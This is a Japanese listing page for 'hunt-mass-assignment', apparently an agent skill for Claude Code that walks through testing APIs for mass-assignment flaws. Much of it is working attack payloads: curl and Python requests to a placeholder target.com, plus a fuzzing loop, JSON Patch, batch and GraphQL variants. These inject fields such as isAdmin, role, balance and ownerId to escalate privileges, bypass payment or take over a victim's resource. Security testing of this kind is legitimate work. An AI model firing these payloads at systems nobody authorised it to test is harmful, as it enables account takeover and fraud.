hunt-mass-assignment について
hunt-mass-assignmentは、APIのマスアサインメント脆弱性を調べるセキュリティテスト用スキルです。機微なフィールドの注入から形式別テスト、保存状態と影響の確認までを扱います。
主な機能
- 01機微なフィールドの注入
- 02命名・エンコード形式の検証
- 03フレームワーク別のテスト
- 04JSON PatchとGraphQLの検査
- 05保存状態と影響の確認
活用シーン
- 01プロフィール更新エンドポイントの検査
- 02登録・決済 API の評価
- 03PATCHの認可漏れの確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-mass-assignmentインストール後、Claude Code で/hunt-mass-assignmentを入力して読み込まれたか確認します。
詳細
一括代入の調査
API エンドポイントが許可リストを設けずに、ユーザー提供のフィールドを内部オブジェクトへ無条件にバインドすることで発生する一括代入の脆弱性を調査します。isAdmin、role、ownerId、plan、tier、balance、verified などの機密フィールドを注入すると、権限を昇格したり、支払いを回避したり、リソースの所有権を取得したりできる可能性があります。
使用する場面
- API が、UI で公開されている内容を超えるフィールドを含む JSON/XML/フォームの本文を受け付ける場合。
- ユーザープロフィールの更新、登録、チェックアウト、リソース作成のエンドポイント。
- 一括代入がデフォルトになっているフレームワークの ORM(Rails ActiveRecord、Laravel Eloquent、Django ORM、Mongoose、Prisma)。
- 疎な更新を受け付ける PATCH エンドポイント — フィールドごとの認可が省略される可能性があります。
すばやく検出する
# Inject sensitive fields into profile update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d '{"name":"test","isAdmin":true,"role":"admin"}'
重要な機密フィールドの一覧
| フィールド | 影響 |
|---|---|
isAdmin、is_admin、admin | 管理者権限の昇格 |
role、roles、user_role | ロールの昇格 |
ownerId、user_id、authorId | リソースの乗っ取り |
plan、tier、subscription_type | 支払いの回避 |
balance、credits、wallet | 金銭情報の改ざん |
verified、is_verified、email_verified | 検証の回避 |
discount、coupon_applied、promo | 価格の改ざん |
organizationId、tenantId、teamId | テナント間アクセス |
banned、disabled、suspended | アカウント状態の制御 |
手順
フェーズ 1 — 機密フィールドの注入
# Dictionary fuzzing on profile endpoint
FIELDS=("isAdmin:true" "role:admin" "is_admin:true" "roles:[\"admin\"]"
"plan:enterprise" "tier:platinum" "balance:999999"
"verified:true" "ownerId:1" "user_id:1" "authorId:1"
"organizationId:1" "teamId:1" "tenantId:1"
"can_manage:true" "permissions:{\"admin\":true}"
"access_level:admin" "group:administrators"
"is_superuser:true" "superuser:1" "staff:true")
for field in "${FIELDS[@]}"; do
key="${field%%:*}"
val="${field#*:}"
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d "{\"$key\":$val,\"name\":\"test\"}" \
-w "\n%{http_code} — $key\n" -o /dev/null
done
フェーズ 2 — 形式のバリエーションとエンコーディング
# Dot-path notation (Mongoose, some ORMs)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"profile.is_admin":true}' \
-H "Content-Type: application/json"
# Bracket notation (PHP frameworks)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
-d 'user[name]=test&user[is_admin]=1' \
-H "Content-Type: application/x-www-form-urlencoded"
# Array wrappers (Rails, Laravel)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"user":{"name":"test","admin":true}}' \
-H "Content-Type: application/json"
# Duplicate keys (parser differential)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"name":"test","role":"user","role":"admin"}' \
-H "Content-Type: application/json"
フェーズ 3 — フレームワーク固有のパターン
# Django REST Framework — PATCH on nested serializers
requests.patch("https://target.com/api/profile/", json={
"user": {"is_staff": True, "is_superuser": True}
})
# Laravel Eloquent — forceFill bypass
requests.post("https://target.com/api/users", json={
"name": "test", "email": "[email protected]",
"is_admin": 1, "role": "admin"
})
# Mongoose — $set on findByIdAndUpdate
requests.put("https://target.com/api/users/me", json={
"$set": {"role": "admin", "verified": True}
})
# Prisma — connect/create nested relations
requests.post("https://target.com/api/organizations", json={
"name": "test",
"owner": {"connect": {"id": 1}} # takeover existing owner
})
フェーズ 4 — バッチと PATCH 形式の悪用
# JSON Patch — add operation with sensitive field
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json-patch+json" \
-d '[{"op":"add","path":"/role","value":"admin"}]'
# JSON Merge Patch — full object replacement
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/merge-patch+json" \
-d '{"role":"admin","verified":true}'
# Batch endpoint — per-item auth skipped
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/users/batch" \
-d '{"users":[{"id":"me","name":"test"},{"id":"VICTIM_ID","role":"admin"}]}'
フェーズ 5 — GraphQL 入力型への注入
mutation UpdateProfile {
updateProfile(input: {
name: "test"
role: ADMIN # injected field not in schema
isAdmin: true # injected field
}) {
id
role
}
}
注意点
- 一部のフレームワークは不明なフィールドを黙って無視します。 同じフィールドを異なる命名規則(snake_case、camelCase、PascalCase)で試してください。
- PATCH は PUT より寛容な場合があります。 どちらのメソッドもテストしてください — HTTP メソッドごとに異なるシリアライザーを適用するフレームワークもあります。
- GraphQL の入力型は自己文書化されています。 イントロスペクションを使って書き込み可能なフィールドをすべて見つけ、スキーマにない追加フィールドをテストしてください。
- バッチエンドポイントでは、項目ごとの認可が省略されることがよくあります。 攻撃者が所有する項目が 1 つだけ含まれる、複数項目の配列をテストしてください。
検証
- 攻撃者が制御すべきではない PATCH/POST/PUT エンドポイントに、機密フィールドを注入します。
- GET 経由で値を読み戻し、フィールドが永続化されたことを確認します。
- フィールドの変更によってアクセス権が昇格することを確認します(例:管理パネルにアクセスする、他のユーザーを表示する)。
- フレームワークレベルでフィールドが拒否されていないことを確かめるため、複数の命名規則でテストします。
- 異なるシリアライザーを使用している可能性がある、バッチ形式と PATCH 形式のエンドポイントを確認します。
関連スキル
hunt-api-misconfig— 一括代入パターンを含む、より広範な API の設定ミス。hunt-idor— 一括代入と組み合わさることが多い、オブジェクトレベルの認可不備。hunt-write-gap— 読み取り認証を必須とせずに書き込みを許可するエンドポイント。
コメント
Markdown 対応